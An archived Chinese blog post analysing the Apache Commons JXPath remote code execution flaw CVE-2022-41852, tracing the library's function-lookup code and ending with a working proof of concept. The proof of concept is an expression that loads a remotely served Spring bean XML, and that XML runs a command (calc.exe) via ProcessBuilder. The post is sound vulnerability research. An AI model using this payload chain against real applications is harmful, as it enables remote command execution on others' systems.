0

CVE-2022-4

 2023-02-06 21:38:28
source link: https://aluvion.github.io/2023/02/04/CVE-2022-41852-Apache-Commons-JXPath-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

CVE-2022-41852 Apache Commons JXPath 远程代码执行漏洞

CVE-2022-_

星期六, 二月 4日 2023, 5:52 下午

755 字

3 分钟

2 次

看起来是个远古依赖,但是近期才曝出漏洞来。


新建项目,在maven仓库里找到相关依赖:

2023020401.png

可以看到这是08年最后更新的项目,然而直接相关的漏洞甚至有CVE-2022-41852,下载依赖:


  1. <!-- https://mvnrepository.com/artifact/commons-jxpath/commons-jxpath -->
  2. <dependency>
  3. <groupId>commons-jxpath</groupId>
  4. <artifactId>commons-jxpath</artifactId>
  5. <version>1.3</version>
  6. </dependency>

根据参考文章,该漏洞发生在使用JXPath执行恶意表达式时,测试用代码:


  1. JXPathContext context = JXPathContext.newContext(null);
  2. context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");

运行测试用代码可以发现这个类ClassPathXmlApplicationContext并不存在于环境中,说明这种利用方式还需要一个别的依赖。

依赖暂且不提,先看看JXPathContext.getValue具体是个什么样的流程,根据流程发现输入的表达式被解析为了一次函数调用,找到PackageFunctions类的getFunction函数:


  1. String className = fullName.substring(0, inx);
  2. String methodName = fullName.substring(inx + 1);
  3. Class functionClass;
  4. try {
  5. functionClass = Class.forName(className);
  6. }
  7. catch (ClassNotFoundException ex) {
  8. throw new JXPathException(
  9. "Cannot invoke extension function "
  10. + (namespace != null ? namespace + ":" + name : name),
  11. ex);
  12. }

加载类后调用函数:


  1. if (methodName.equals("new")) {
  2. Constructor constructor =
  3. MethodLookupUtils.lookupConstructor(functionClass, parameters);
  4. if (constructor != null) {
  5. return new ConstructorFunction(constructor);
  6. }
  7. }
  8. else {
  9. Method method =
  10. MethodLookupUtils.lookupStaticMethod(
  11. functionClass,
  12. methodName,
  13. parameters);
  14. if (method != null) {
  15. return new MethodFunction(method);
  16. }
  17. }

看到这里有调用构造函数和静态函数两种行为,所以Runtime和TemplatesImpl这些类就用不了了。同时由于这种调用链可控的只有输入参数,所以不容易找到合适的代码执行/命令执行点,想要利用最合适的还是找到RMI、JNDI等等可以从外面加载数据的方式。

Naming类下面倒是有一个静态的lookup函数可以调用:


  1. ParsedNamingURL parsed = parseURL(name);
  2. Registry registry = getRegistry(parsed);
  3. if (parsed.name == null)
  4. return registry;
  5. return registry.lookup(parsed.name);

看起来可以通过RMI完成利用。

补充一个spring-context-support依赖:


  1. <!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
  2. <dependency>
  3. <groupId>org.springframework</groupId>
  4. <artifactId>spring-context-support</artifactId>
  5. <version>5.3.25</version>
  6. </dependency>

放一个xml到tomcat目录下并启动:


  1. <beans xmlns="http://www.springframework.org/schema/beans"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="http://www.springframework.org/schema/beans
  4. http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id="twings" class="java.lang.ProcessBuilder" init-method="start">
  6. <constructor-arg>
  7. <list>
  8. <value>cmd.exe</value>
  9. <value>/c</value>
  10. <value>calc.exe</value>
  11. </list>
  12. </constructor-arg>
  13. </bean>
  14. </beans>

可以看到弹出了计算器,利用成功。

看一下ClassPathXmlApplicationContext类,这个类在实例化后会refresh并加载远程配置文件,再根据配置文件中的constructor-arg实例化主体对象,最后根据init-method调用初始化函数。

好像没看到修复版本。


Apache Commons JXPath 远程代码执行(CVE-2022-41852)


About Archive Link


everyday a lot of link has gone away.
archive.link will keep it forever.